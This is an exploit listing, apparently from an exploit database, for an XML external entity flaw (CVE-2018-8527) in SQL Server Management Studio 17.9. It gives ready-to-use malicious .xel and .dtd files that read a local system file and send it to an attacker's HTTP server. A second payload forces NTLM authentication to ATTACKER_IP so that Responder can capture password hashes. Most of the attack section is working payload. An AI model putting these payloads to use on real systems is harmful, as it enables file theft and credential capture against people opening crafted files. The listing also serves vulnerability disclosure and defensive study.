731dd0f423
22 changes to exploits/shellcodes Snes9K 0.0.9z - Buffer Overflow (SEH) NoMachine < 5.3.27 - Remote Code Execution MaxOn ERP Software 8.x-9.x - 'nomor' SQL Injection FLIR Brickstream 3D+ - RTSP Stream Disclosure FLIR AX8 Thermal Camera 1.32.16 - RTSP Stream Disclosure CAMALEON CMS 2.4 - Cross-Site Scripting Academic Timetable Final Build 7.0a-7.0b - 'id' SQL Injection FLIR AX8 Thermal Camera 1.32.16 - Arbitrary File Disclosure FLIR Brickstream 3D+ 2.1.742.1842 - Config File Disclosure Academic Timetable Final Build 7.0b - Cross-Site Request Forgery (Add Admin) AlchemyCMS 4.1 - Cross-Site Scripting FLIR AX8 Thermal Camera 1.32.16 - Remote Code Execution College Notes Management System 1.0 - 'user' SQL Injection Advanced HRM 1.6 - Remote Code Execution Centos Web Panel 0.9.8.480 - Multiple Vulnerabilities Academic Timetable Final Build 7.0 - Information Disclosure KORA 2.7.0 - 'cid' SQL Injection
57 lines
No EOL
2.1 KiB
Text
57 lines
No EOL
2.1 KiB
Text
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection
|
|
# Date: 2018-10-10
|
|
# Author: John Page (aka hyp3rlinx)
|
|
# Website: hyp3rlinx.altervista.org
|
|
# Venodor: www.microsoft.com
|
|
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)
|
|
# CVE: CVE-2018-8527
|
|
# References:
|
|
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt
|
|
# https://www.zerodayinitiative.com/advisories/ZDI-18-1131/
|
|
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527
|
|
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527)
|
|
|
|
# Description
|
|
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations
|
|
# of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability
|
|
# in that the target must visit a malicious page or open a malicious file.
|
|
# The specific flaw exists within the handling of XEL files. Due to the improper restriction
|
|
# of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser
|
|
# to access the URI and embed the contents back into the XML document for further processing. An attacker
|
|
# can leverage this vulnerability to disclose information in the context of the current process.
|
|
|
|
# [Exploit/POC]
|
|
|
|
python -m SimpleHTTPServer (listens Port 8000)
|
|
|
|
"evil.xel" (Extended Event Log File)
|
|
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE flavios [
|
|
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
|
|
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
|
|
%dtd;]>
|
|
<pwn>&send;</pwn>
|
|
|
|
"payload.dtd"
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
|
|
%all;
|
|
|
|
# OR
|
|
# Steal NTLM hashes
|
|
# Kali linux
|
|
|
|
/usr/share/responder/tools
|
|
|
|
responder -I eth0 -rv
|
|
|
|
"evil.xel"
|
|
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE dirty0tis [
|
|
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">
|
|
%dtd;]>
|
|
|
|
Result: Forced authentication and NTLM hash captured |